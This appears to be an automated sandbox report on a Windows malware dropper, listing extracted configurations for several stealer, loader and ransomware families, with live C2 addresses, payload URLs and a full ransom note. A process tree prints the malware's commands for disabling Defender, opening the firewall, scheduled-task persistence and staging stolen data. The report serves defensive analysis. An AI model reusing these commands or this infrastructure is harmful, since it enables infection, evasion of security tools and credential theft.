Overview

overview

10

Static

static

3

winprofile

windows7-x64

10

winprofile

windows10-1703-x64

10

Analysis

  • max time kernel
    215s
  • max time network
    301s
  • platform
    windows10-1703_x64
  • resource
    win10-20240221-en
  • resource tags

    arch:x64arch:x86image:win10-20240221-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25-03-2024 05:04

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    dd1eee466259aafb709f18510d8b3ffa879ea2b20cd8f833e71ef667997e3c94.exe

  • Size

    1.8MB

  • MD5

    241ea04a17229bb942e8472c04c70ed2

  • SHA1

    1f5e91eb8c748d7f0e6e67aa4ddccf401a028713

  • SHA256

    dd1eee466259aafb709f18510d8b3ffa879ea2b20cd8f833e71ef667997e3c94

  • SHA512

    0f931265f2a1e827f367ede9ca78d06832b6560deef4d6147aaae916c52a474bbe568b4ea426eb2796d48e7fcb7222d37d1015eab75dc1c8187f4f8d95ec5de2

  • SSDEEP

    49152:yuNj+ombSmNcFBlv0/YQ7v+uqVj59l8sSh9uXPWA:/yoCyIQyyVlD8sg9uB

Score
10/10
amadeydcratdjvugluptebalummarhadamanthysriseprosmokeloaderstealcpub1backdoordiscoverydropperevasioninfostealerloaderpersistenceransomwareratrootkitspywarestealertrojanupx

Malware Config

Extracted

Family

amadey

Version

4.18

C2

http://193.233.132.56

Attributes
  • install_dir

    09fd851a4f

  • install_file

    explorha.exe

  • strings_key

    443351145ece4966ded809641c77cfa8

  • url_paths

    /Pneh2sXQk0/index.php

rc4.plain

Extracted

Family

smokeloader

Botnet

pub1

Extracted

Family

stealc

C2

http://185.172.128.209

Attributes
  • url_path

    /3cd2b41cbde8fc9c.php

Extracted

Family

smokeloader

Version

2022

C2

http://trad-einmyus.com/index.php

http://tradein-myus.com/index.php

http://trade-inmyus.com/index.php
rc4.i32
rc4.i32

Extracted

Family

amadey

Version

4.17

C2

http://193.233.132.167

Attributes
  • strings_key

    1a9519d7b465e1f4880fa09a6162d768

  • url_paths

    /enigma/index.php

rc4.plain

Extracted

Family

djvu

C2

http://sajdfue.com/test1/get.php

Attributes
  • extension

    .vook

  • offline_id

    1eSPzWRaNslCgtjBZfL5pzvovoiaVI4IZSnvAwt1

  • payload_url

    http://sdfjhuz.com/dl/build2.exe

    http://sajdfue.com/files/1/build3.exe

  • ransomnote

    ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. Do not ask assistants from youtube and recovery data sites for help in recovering your data. They can use your free decryption quota and scam you. Our contact is emails in this text document only. You can get and look video overview decrypt tool: https://wetransfer.com/downloads/3ed7a617738550b0a00c5aa231c0752020240316170955/d71ce1 Price of private key and decrypt software is $999. Discount 50% available if you contact us first 72 hours, that's price for you is $499. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: [email protected] Reserve e-mail address to contact us: [email protected] Your personal ID: 0857PsawqS

rsa_pubkey.plain

Extracted

Family

lumma

C2

https://resergvearyinitiani.shop/api

https://associationokeo.shop/api

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • DcRat 20 IoCs

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

    ratinfostealerdcrat
  • Detected Djvu ransomware 2 IoCs
  • Djvu Ransomware

    Ransomware which is a variant of the STOP family.

    ransomwaredjvu
  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba payload 6 IoCs
  • Lumma Stealer

    An infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

    stealerrhadamanthys
  • RisePro

    RisePro stealer is an infostealer distributed by PrivateLoader.

    stealerrisepro
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Windows security bypass 2 TTPs 7 IoCs
    evasiontrojan
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 8 IoCs
    evasion
  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
    persistence
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    evasion
  • Checks BIOS information in registry 2 TTPs 17 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 55 IoCs
  • Identifies Wine through registry keys 2 TTPs 7 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 13 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Reads WinSCP keys stored on the system 2 TTPs

    Tries to access WinSCP stored sessions.

    spywarestealer
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads local data of messenger clients 2 TTPs

    Infostealers often target stored data of messaging applications, which can include saved credentials and account information.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Windows security modification 2 TTPs 7 IoCs
    evasiontrojan
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 6 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Enumerates connected drives 3 TTPs 6 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Looks up external IP address via web service 7 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Drops file in System32 directory 17 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs
  • Suspicious use of SetThreadContext 7 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 4 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 8 IoCs
  • Launches sc.exe 1 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 6 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 19 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 7 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    evasionspywaretrojan
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 14 IoCs
  • Suspicious use of SendNotifyMessage 10 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • c:\windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:2476
      • C:\Windows\SysWOW64\dialer.exe
        "C:\Windows\system32\dialer.exe"
        2⤵
          PID:2992
      • C:\Users\Admin\AppData\Local\Temp\dd1eee466259aafb709f18510d8b3ffa879ea2b20cd8f833e71ef667997e3c94.exe
        "C:\Users\Admin\AppData\Local\Temp\dd1eee466259aafb709f18510d8b3ffa879ea2b20cd8f833e71ef667997e3c94.exe"
        1⤵
        • DcRat
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Checks BIOS information in registry
        • Identifies Wine through registry keys
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Drops file in Windows directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:2100
        • C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
          "C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe"
          2⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Adds Run key to start application
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:1744
          • C:\Users\Admin\AppData\Local\Temp\1000022001\101ee3e9b0.exe
            "C:\Users\Admin\AppData\Local\Temp\1000022001\101ee3e9b0.exe"
            3⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            PID:4284
          • C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
            "C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe"
            3⤵
              PID:600
            • C:\Users\Admin\AppData\Local\Temp\1000035001\lumma21.exe
              "C:\Users\Admin\AppData\Local\Temp\1000035001\lumma21.exe"
              3⤵
              • Executes dropped EXE
              • Drops file in Windows directory
              PID:216
            • C:\Windows\SysWOW64\rundll32.exe
              "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
              3⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:5088
              • C:\Windows\system32\rundll32.exe
                "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
                4⤵
                • Blocklisted process makes network request
                • Loads dropped DLL
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:4768
                • C:\Windows\system32\netsh.exe
                  netsh wlan show profiles
                  5⤵
                    PID:2132
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\531961169161_Desktop.zip' -CompressionLevel Optimal
                    5⤵
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:924
              • C:\Windows\SysWOW64\rundll32.exe
                "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
                3⤵
                • Blocklisted process makes network request
                • Loads dropped DLL
                PID:4644
          • C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
            C:\Users\Admin\AppData\Local\Temp\09fd851a4f\explorha.exe
            1⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Checks BIOS information in registry
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious behavior: EnumeratesProcesses
            PID:4704
          • C:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exe
            C:\Users\Admin\AppData\Local\Temp\4d0ab15804\chrosha.exe
            1⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Suspicious use of WriteProcessMemory
            PID:4728
            • C:\Users\Admin\AppData\Local\Temp\1000082001\boom8.exe
              "C:\Users\Admin\AppData\Local\Temp\1000082001\boom8.exe"
              2⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:2152
              • C:\Windows\SysWOW64\schtasks.exe
                "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN boom8.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000082001\boom8.exe" /F
                3⤵
                • DcRat
                • Creates scheduled task(s)
                PID:1548
              • C:\Users\Admin\AppData\Local\Temp\1000172001\ISetup8.exe
                "C:\Users\Admin\AppData\Local\Temp\1000172001\ISetup8.exe"
                3⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:3080
                • C:\Users\Admin\AppData\Local\Temp\u2dk.0.exe
                  "C:\Users\Admin\AppData\Local\Temp\u2dk.0.exe"
                  4⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Checks processor information in registry
                  PID:4936
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\Admin\AppData\Local\Temp\CGIEBAFHJJ.exe"
                    5⤵
                      PID:4076
                      • C:\Users\Admin\AppData\Local\Temp\CGIEBAFHJJ.exe
                        "C:\Users\Admin\AppData\Local\Temp\CGIEBAFHJJ.exe"
                        6⤵
                        • Executes dropped EXE
                        PID:928
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /C ping 2.2.2.2 -n 1 -w 3000 > Nul & Del C:\Users\Admin\AppData\Local\Temp\CGIEBAFHJJ.exe
                          7⤵
                            PID:2788
                            • C:\Windows\SysWOW64\PING.EXE
                              ping 2.2.2.2 -n 1 -w 3000
                              8⤵
                              • Runs ping.exe
                              PID:1036
                    • C:\Users\Admin\AppData\Local\Temp\u2dk.1.exe
                      "C:\Users\Admin\AppData\Local\Temp\u2dk.1.exe"
                      4⤵
                      • Executes dropped EXE
                      • Suspicious use of SetWindowsHookEx
                      • Suspicious use of WriteProcessMemory
                      PID:3804
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Temp\Task.bat" "
                        5⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3564
                        • C:\Windows\SysWOW64\chcp.com
                          chcp 1251
                          6⤵
                            PID:4880
                          • C:\Windows\SysWOW64\schtasks.exe
                            schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\Admin\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
                            6⤵
                            • DcRat
                            • Creates scheduled task(s)
                            PID:4460
                    • C:\Users\Admin\AppData\Local\Temp\1000173001\toolspub1.exe
                      "C:\Users\Admin\AppData\Local\Temp\1000173001\toolspub1.exe"
                      3⤵
                      • Executes dropped EXE
                      • Checks SCSI registry key(s)
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious behavior: MapViewOfSection
                      PID:4812
                    • C:\Users\Admin\AppData\Local\Temp\1000174001\4767d2e713f2021e8fe856e3ea638b58.exe
                      "C:\Users\Admin\AppData\Local\Temp\1000174001\4767d2e713f2021e8fe856e3ea638b58.exe"
                      3⤵
                      • Executes dropped EXE
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:2224
                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                        powershell -nologo -noprofile
                        4⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:1236
                      • C:\Users\Admin\AppData\Local\Temp\1000174001\4767d2e713f2021e8fe856e3ea638b58.exe
                        "C:\Users\Admin\AppData\Local\Temp\1000174001\4767d2e713f2021e8fe856e3ea638b58.exe"
                        4⤵
                        • Windows security bypass
                        • Executes dropped EXE
                        • Windows security modification
                        • Adds Run key to start application
                        • Checks for VirtualBox DLLs, possible anti-VM trick
                        • Drops file in Windows directory
                        • Modifies data under HKEY_USERS
                        PID:4772
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell -nologo -noprofile
                          5⤵
                          • Drops file in System32 directory
                          • Modifies data under HKEY_USERS
                          • Suspicious use of AdjustPrivilegeToken
                          PID:444
                        • C:\Windows\System32\cmd.exe
                          C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                          5⤵
                            PID:2132
                            • C:\Windows\system32\netsh.exe
                              netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                              6⤵
                              • Modifies Windows Firewall
                              • Modifies data under HKEY_USERS
                              PID:4152
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            powershell -nologo -noprofile
                            5⤵
                            • Drops file in System32 directory
                            • Modifies data under HKEY_USERS
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4216
                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            powershell -nologo -noprofile
                            5⤵
                            • Drops file in System32 directory
                            • Modifies data under HKEY_USERS
                            • Suspicious use of AdjustPrivilegeToken
                            PID:4888
                          • C:\Windows\rss\csrss.exe
                            C:\Windows\rss\csrss.exe
                            5⤵
                            • Executes dropped EXE
                            • Adds Run key to start application
                            • Manipulates WinMonFS driver.
                            • Drops file in Windows directory
                            PID:608
                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                              powershell -nologo -noprofile
                              6⤵
                              • Drops file in System32 directory
                              • Modifies data under HKEY_USERS
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3192
                            • C:\Windows\SYSTEM32\schtasks.exe
                              schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                              6⤵
                              • DcRat
                              • Creates scheduled task(s)
                              PID:3116
                            • C:\Windows\SYSTEM32\schtasks.exe
                              schtasks /delete /tn ScheduledUpdate /f
                              6⤵
                                PID:3076
                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                powershell -nologo -noprofile
                                6⤵
                                • Drops file in System32 directory
                                • Modifies data under HKEY_USERS
                                • Suspicious use of AdjustPrivilegeToken
                                PID:312
                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                powershell -nologo -noprofile
                                6⤵
                                • Drops file in System32 directory
                                • Modifies data under HKEY_USERS
                                PID:2696
                              • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                                C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                                6⤵
                                • Executes dropped EXE
                                PID:6008
                              • C:\Windows\SYSTEM32\schtasks.exe
                                schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                6⤵
                                • DcRat
                                • Creates scheduled task(s)
                                PID:2240
                              • C:\Windows\windefender.exe
                                "C:\Windows\windefender.exe"
                                6⤵
                                • Executes dropped EXE
                                PID:5636
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                                  7⤵
                                    PID:5220
                                    • C:\Windows\SysWOW64\sc.exe
                                      sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                                      8⤵
                                      • Launches sc.exe
                                      PID:3056
                        • C:\Windows\SysWOW64\rundll32.exe
                          "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main
                          2⤵
                          • Loads dropped DLL
                          • Suspicious use of WriteProcessMemory
                          PID:4800
                          • C:\Windows\system32\rundll32.exe
                            "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main
                            3⤵
                            • Blocklisted process makes network request
                            • Loads dropped DLL
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of WriteProcessMemory
                            PID:380
                            • C:\Windows\system32\netsh.exe
                              netsh wlan show profiles
                              4⤵
                                PID:4440
                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                powershell -Command Compress-Archive -Path 'C:\Users\Admin\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\Admin\AppData\Local\Temp\531961169161_Desktop.zip' -CompressionLevel Optimal
                                4⤵
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2516
                          • C:\Windows\SysWOW64\rundll32.exe
                            "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main
                            2⤵
                            • Blocklisted process makes network request
                            • Loads dropped DLL
                            PID:876
                          • C:\Users\Admin\AppData\Local\Temp\1000085001\file300un.exe
                            "C:\Users\Admin\AppData\Local\Temp\1000085001\file300un.exe"
                            2⤵
                            • Executes dropped EXE
                            • Adds Run key to start application
                            • Suspicious use of SetThreadContext
                            PID:2516
                            • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
                              "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:UserProfile
                              3⤵
                              • Suspicious use of AdjustPrivilegeToken
                              PID:1636
                            • C:\Windows\system32\cmd.exe
                              "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\Users\Admin\.BLRVzdv\svchost.exe"' & exit
                              3⤵
                                PID:4652
                                • C:\Windows\system32\schtasks.exe
                                  schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr '"C:\Users\Admin\.BLRVzdv\svchost.exe"'
                                  4⤵
                                  • DcRat
                                  • Creates scheduled task(s)
                                  PID:1732
                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
                                3⤵
                                • Suspicious use of AdjustPrivilegeToken
                                PID:4760
                                • C:\Users\Admin\Pictures\sksb3Vq6UgmggO6M9FSJ0MRU.exe
                                  "C:\Users\Admin\Pictures\sksb3Vq6UgmggO6M9FSJ0MRU.exe"
                                  4⤵
                                  • Executes dropped EXE
                                  PID:1008
                                  • C:\Users\Admin\AppData\Local\Temp\us0.0.exe
                                    "C:\Users\Admin\AppData\Local\Temp\us0.0.exe"
                                    5⤵
                                    • Executes dropped EXE
                                    PID:4320
                                  • C:\Users\Admin\AppData\Local\Temp\us0.1.exe
                                    "C:\Users\Admin\AppData\Local\Temp\us0.1.exe"
                                    5⤵
                                    • Executes dropped EXE
                                    • Suspicious use of SetWindowsHookEx
                                    PID:4584
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Temp\Task.bat" "
                                      6⤵
                                        PID:2708
                                        • C:\Windows\SysWOW64\chcp.com
                                          chcp 1251
                                          7⤵
                                            PID:5636
                                          • C:\Windows\SysWOW64\schtasks.exe
                                            schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\Admin\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
                                            7⤵
                                            • DcRat
                                            • Creates scheduled task(s)
                                            PID:5576
                                    • C:\Users\Admin\Pictures\BYDsobPlYIaPQUmbx1bUoW4j.exe
                                      "C:\Users\Admin\Pictures\BYDsobPlYIaPQUmbx1bUoW4j.exe"
                                      4⤵
                                      • Executes dropped EXE
                                      PID:736
                                      • C:\Users\Admin\AppData\Local\Temp\ukg.0.exe
                                        "C:\Users\Admin\AppData\Local\Temp\ukg.0.exe"
                                        5⤵
                                        • Executes dropped EXE
                                        PID:2828
                                      • C:\Users\Admin\AppData\Local\Temp\ukg.1.exe
                                        "C:\Users\Admin\AppData\Local\Temp\ukg.1.exe"
                                        5⤵
                                        • Executes dropped EXE
                                        • Suspicious use of SetWindowsHookEx
                                        PID:4300
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Temp\Task.bat" "
                                          6⤵
                                            PID:5176
                                            • C:\Windows\SysWOW64\chcp.com
                                              chcp 1251
                                              7⤵
                                                PID:6080
                                              • C:\Windows\SysWOW64\schtasks.exe
                                                schtasks /create /tn "MalayamaraUpdate" /tr "'C:\Users\Admin\AppData\Local\Temp\Updater.exe'" /sc minute /mo 30 /F
                                                7⤵
                                                • DcRat
                                                • Creates scheduled task(s)
                                                PID:5368
                                        • C:\Users\Admin\Pictures\hjF2ryOaTfc5MgY5eKpf1a52.exe
                                          "C:\Users\Admin\Pictures\hjF2ryOaTfc5MgY5eKpf1a52.exe"
                                          4⤵
                                          • Executes dropped EXE
                                          PID:4408
                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -nologo -noprofile
                                            5⤵
                                              PID:3600
                                            • C:\Users\Admin\Pictures\hjF2ryOaTfc5MgY5eKpf1a52.exe
                                              "C:\Users\Admin\Pictures\hjF2ryOaTfc5MgY5eKpf1a52.exe"
                                              5⤵
                                              • Executes dropped EXE
                                              • Checks for VirtualBox DLLs, possible anti-VM trick
                                              PID:5984
                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                powershell -nologo -noprofile
                                                6⤵
                                                • Drops file in System32 directory
                                                • Modifies data under HKEY_USERS
                                                PID:5712
                                          • C:\Users\Admin\Pictures\M9P61e8RHuqcsIIBgDxUeiBV.exe
                                            "C:\Users\Admin\Pictures\M9P61e8RHuqcsIIBgDxUeiBV.exe"
                                            4⤵
                                            • Executes dropped EXE
                                            • Suspicious use of SetThreadContext
                                            PID:4012
                                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                              5⤵
                                                PID:2700
                                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                                5⤵
                                                • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                PID:5092
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 632
                                                  6⤵
                                                  • Program crash
                                                  PID:656
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 5092 -s 584
                                                  6⤵
                                                  • Program crash
                                                  PID:2808
                                            • C:\Users\Admin\Pictures\xoFdRIHBUhDdwuhUrg1yj8Ep.exe
                                              "C:\Users\Admin\Pictures\xoFdRIHBUhDdwuhUrg1yj8Ep.exe"
                                              4⤵
                                              • Executes dropped EXE
                                              PID:4652
                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                powershell -nologo -noprofile
                                                5⤵
                                                  PID:440
                                                • C:\Users\Admin\Pictures\xoFdRIHBUhDdwuhUrg1yj8Ep.exe
                                                  "C:\Users\Admin\Pictures\xoFdRIHBUhDdwuhUrg1yj8Ep.exe"
                                                  5⤵
                                                  • Executes dropped EXE
                                                  • Checks for VirtualBox DLLs, possible anti-VM trick
                                                  PID:5428
                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    powershell -nologo -noprofile
                                                    6⤵
                                                    • Drops file in System32 directory
                                                    • Modifies data under HKEY_USERS
                                                    PID:4460
                                              • C:\Users\Admin\Pictures\LCCYCiJnONu5XblEgq4hVa11.exe
                                                "C:\Users\Admin\Pictures\LCCYCiJnONu5XblEgq4hVa11.exe"
                                                4⤵
                                                • Executes dropped EXE
                                                PID:3180
                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                  powershell -nologo -noprofile
                                                  5⤵
                                                    PID:2808
                                                  • C:\Users\Admin\Pictures\LCCYCiJnONu5XblEgq4hVa11.exe
                                                    "C:\Users\Admin\Pictures\LCCYCiJnONu5XblEgq4hVa11.exe"
                                                    5⤵
                                                    • Executes dropped EXE
                                                    • Checks for VirtualBox DLLs, possible anti-VM trick
                                                    PID:5172
                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                      powershell -nologo -noprofile
                                                      6⤵
                                                      • Drops file in System32 directory
                                                      • Modifies data under HKEY_USERS
                                                      PID:1256
                                                • C:\Users\Admin\Pictures\32QktHrXloGtfKRiegMSKzUn.exe
                                                  "C:\Users\Admin\Pictures\32QktHrXloGtfKRiegMSKzUn.exe"
                                                  4⤵
                                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                  • Checks BIOS information in registry
                                                  • Executes dropped EXE
                                                  • Checks whether UAC is enabled
                                                  • Drops file in System32 directory
                                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                  PID:4344
                                                • C:\Users\Admin\Pictures\fI07eSFT03w2dZJ3Mls6GxLk.exe
                                                  "C:\Users\Admin\Pictures\fI07eSFT03w2dZJ3Mls6GxLk.exe" --silent --allusers=0
                                                  4⤵
                                                  • Executes dropped EXE
                                                  • Loads dropped DLL
                                                  • Enumerates connected drives
                                                  PID:1352
